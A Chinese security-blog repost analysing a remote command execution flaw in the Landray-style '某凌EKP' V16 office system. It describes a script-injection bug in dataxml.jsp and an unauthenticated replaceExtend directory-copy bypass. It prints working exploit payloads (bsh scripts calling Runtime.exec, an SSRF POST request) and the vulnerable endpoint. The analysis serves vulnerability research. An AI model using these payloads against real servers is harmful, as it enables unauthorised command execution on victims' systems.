某凌EKP前台远程命令执行漏洞分析

admin 2024年7月11日17:41:05评论115 views字数 6963阅读23分12秒阅读模式

漏洞描述

某凌EKP由深圳市某凌软件股份有限公司开发,是一款面向中小企业的移动化智能办公产品。该系统存在远程命令执行漏洞,攻击者能够借助 sysUiComponent接口的replaceExtend方法把dataxml.jsp后台命令执行漏洞转化为前台命令执行漏洞

影响版本

version = V16

漏洞分析

前置漏洞

该漏洞属于后台 dataxml.jsp 远程命令执行的前台绕过版本,接下来先介绍一下此后台漏洞的原理

某凌EKP前台远程命令执行漏洞分析

在此处执行了 treeBean 的 getDataList 方法,并传入了请求的参数。而 SysFormulaSimulateByJS 类继承了 IXMLDataBean,其 getDataList 方法如下:

某凌EKP前台远程命令执行漏洞分析

通过 FormulaParser#parseValueScript() 执行了传入的 script 脚本,尽管禁用了 unicode 以及一些黑名单,但未禁用 Runtime.exec 和 ProcessBuilder,所以仍然能够执行命令

某凌EKP前台远程命令执行漏洞分析

这种利用 bsh 的打法还有许多接口可用,在此不逐一举例,更多详情见:LandrayEkpAudit

s_bean=sysFormulaSimulateByJS&script=var x = Function/**/('return(java.lang.Runtime.getRuntime())')();x.exec("calc.exe");var a = mainOutput();function mainOutput() {};

漏洞绕过 

这个洞后来加了权限校验(WEB-INF/KmssConfig/sys/authentication/spring.xml),匿名用户仅允许访问以下接口:

<property name="anonymousPaths">    <value>        /login*.jsp*; /resource/**; /service/**; /ui-ext/**; /*/*.index; /logout*; /admin.do*;        /browser.jsp*;/third/dingrobot/dingrobotCover.do*;        /axis/*; /kk*; /forward.html*; /sys/webservice/*;        /vcode*;/sys/authentication/validate*;/ui-ext/scormcourse/**;/*.txt;        /sys/print/word/file/**;/elec/rmkk/rmkk.do*;/elec/yqq/callback.do*;/sys/person/image.jsp*;/elec/sgt/callback.do*;/hr/recruit/invite_qr_code/*;        /sysInfo*;/data/sys-attachment/sysJgWebOffice/execute;/sys/anonymous/enter/token.do*;/**/*.woff2;/**/*.woff;/**/*.ttf;/**/*.svg;/**/*.eot    </value></property>

还有一种打法是通过custom.jsp去SSRF打dataxml.jsp。不过这里也已经无法利用了

POST /ekp/sys/ui/extend/varkind/custom.jsp HTTP/1.1Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc")&type=int&modelName=test

在该系统V16版本中,引入了SysUiComponent,并且在design.xml(WEB-INF/KmssConfig/sys/ui/design.xml)和spring.xml中忘记添加鉴权,导致可调用SysUiComponentAction#getThemeInfo进行文件上传

<?xml version="1.0" encoding="UTF-8"?><configs    xmlns="http://www.example.org/design-config"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://www.example.org/design-config ../../design.xsd ">    <module        messageKey="sys-ui:module.sys.ui"        urlPrefix="/sys/ui/"        defaultValidator="true">        <request            path="index.jsp*"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)" />        <request            path="tools.jsp*"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)" />        <request            path="tree.jsp*"            defaultValidator="roleValidator(role=SYSROLE_USER)" />        <request            path="help/font/**"            defaultValidator="roleValidator(role=SYSROLE_USER)" />          <request            path="help/component/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;ROLE_SYSPORTAL_BASE_SETTING)" />        <request            path="help/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;ROLE_SYSPORTAL_EXT_SETTING)" />        <request            path="demo/**"            defaultValidator="roleValidator(role=SYSROLE_USER)" />        <request            path="jsp/**"            defaultValidator="roleValidator(role=SYSROLE_USER)" />        <request            path="sys_ui_logo/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)" />        <request            path="sys_ui_extend/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;ROLE_SYSPORTAL_EXT_SETTING)" />        <request            path="sys_ui_tool/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)" />        <request            path="sys_ui_config/**"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)" />        <request            path="sys_ui_qrcode/**"            defaultValidator="roleValidator(role=SYSROLE_USER)" />        <request            path="/sys_ui_compress/sysUiCompress.do*"            defaultValidator="roleValidator(role=SYSROLE_ADMIN;SYSROLE_SYSADMIN)"/>    </module></configs>

这次漏洞的绕过方式是通过SysUiComponentAction#replaceExtend()将dataxml.jsp所在目录的文件复制到可访问的目录,借助这个漏洞,我们能够将其移动至无需鉴权的位置,也就是配置中的静态资源或者匿名路径所在之处

某凌EKP前台远程命令执行漏洞分析

继续跟进,调用的是SysUiComponentService#replaceExtend()

某凌EKP前台远程命令执行漏洞分析

这里获取两个参数的值,删除extendId目录,然后将folderName目录的文件复制过来

某凌EKP前台远程命令执行漏洞分析

继续跟进copyDirectory得到:

public static void copyDirectory(File srcDir, File destDir, FileFilter filter, boolean preserveFileDate) throws IOException {    // 检查源目录和目标目录的有效性    checkFileRequirements(srcDir, destDir);
    // 确保源是一个目录    if (!srcDir.isDirectory()) {        throw new IOException("Source '" + srcDir + "' exists but is not a directory");    }     // 确保源和目标不是同一个目录    else if (srcDir.getCanonicalPath().equals(destDir.getCanonicalPath())) {        throw new IOException("Source '" + srcDir + "' and destination '" + destDir + "' are the same");    }     else {        List<String> exclusionList = null;
        // 检查目标目录是否是源目录的子目录        if (destDir.getCanonicalPath().startsWith(srcDir.getCanonicalPath())) {            // 获取源目录中的文件列表            File[] srcFiles = filter == null ? srcDir.listFiles() : srcDir.listFiles(filter);
            if (srcFiles != null && srcFiles.length > 0) {                // 创建排除列表,防止无限递归复制                exclusionList = new ArrayList(srcFiles.length);                for (File srcFile : srcFiles) {                    File copiedFile = new File(destDir, srcFile.getName());                    exclusionList.add(copiedFile.getCanonicalPath());                }            }        }
        // 执行实际的目录复制操作        doCopyDirectory(srcDir, destDir, filter, preserveFileDate, exclusionList);    }}

继续跟进

private static void doCopyDirectory(File srcDir, File destDir, FileFilter filter, boolean preserveFileDate, List<String> exclusionList) throws IOException {    // 获取源目录中的文件列表,如果有过滤器则应用过滤器    File[] srcFiles = filter == null ? srcDir.listFiles() : srcDir.listFiles(filter);    if (srcFiles == null) {        throw new IOException("Failed to list contents of " + srcDir);    } else {        // 确保目标目录存在且是一个目录        if (destDir.exists()) {            if (!destDir.isDirectory()) {                throw new IOException("Destination '" + destDir + "' exists but is not a directory");            }        } else if (!destDir.mkdirs() && !destDir.isDirectory()) {            throw new IOException("Destination '" + destDir + "' directory cannot be created");        }
        // 确保目标目录可写        if (!destDir.canWrite()) {            throw new IOException("Destination '" + destDir + "' cannot be written to");        } else {            // 遍历源目录中的所有文件和子目录            for(File srcFile : srcFiles) {                File dstFile = new File(destDir, srcFile.getName());                // 检查是否在排除列表中                if (exclusionList == null || !exclusionList.contains(srcFile.getCanonicalPath())) {                    if (srcFile.isDirectory()) {                        // 如果是目录,递归复制                        doCopyDirectory(srcFile, dstFile, filter, preserveFileDate, exclusionList);                    } else {                        // 如果是文件,直接复制                        doCopyFile(srcFile, dstFile, preserveFileDate);                    }                }            }
            // 如果需要保留文件日期,设置目标目录的最后修改时间            if (preserveFileDate) {                destDir.setLastModified(srcDir.lastModified());            }        }    }}
private static void doCopyFile(File srcFile, File destFile, boolean preserveFileDate) throws IOException {        if (destFile.exists() && destFile.isDirectory()) {            throw new IOException("Destination '" + destFile + "' exists but is a directory");        } else {            Path srcPath = srcFile.toPath();            Path destPath = destFile.toPath();            long newLastModifed = preserveFileDate ? srcFile.lastModified() : destFile.lastModified();            Files.copy(srcPath, destPath, StandardCopyOption.REPLACE_EXISTING);            checkEqualSizes(srcFile, destFile, Files.size(srcPath), Files.size(destPath));            checkEqualSizes(srcFile, destFile, srcFile.length(), destFile.length());            destFile.setLastModified(newLastModifed);        }    }

最后通过Files.copy将一个目录及其内容递归地复制到另一个目录

路由分析

通过分析配置文件 /WEB-INF/KmssConfig/sys/ui/spring-mvc.xml,我们可以得出以下结论

<bean    name="/sys/ui/sys_ui_component/sysUiComponent.do"    class="com.landray.kmss.sys.ui.actions.SysUiComponentAction"    lazy-init="true"    parent="KmssBaseAction">    <!-- 配置详情省略 --></bean>

访问方式

  • URL: /sys/ui/sys_ui_component/sysUiComponent.do

  • 类: com.landray.kmss.sys.ui.actions.SysUiComponentAction

调用特定方法

要调用 SysUiComponentAction 类中的 replaceExtend() 方法,需要在URL中添加 method 参数

/sys/ui/sys_ui_component/sysUiComponent.do?method=replaceExtendbr

接下来如何构造PoC就很清晰了,只需要将dataxml.jsp所在的目录/sys/common通过目录穿越复制到匿名用户可访问的Web目录即可

原文作者:Le1a@微步漏洞团队

原文地址:https://xz.aliyun.com/t/15006

原文始发于微信公众号(七芒星实验室):某凌EKP前台远程命令执行漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月11日17:41:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某凌EKP前台远程命令执行漏洞分析https://cn-sec.com/archives/2941028.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息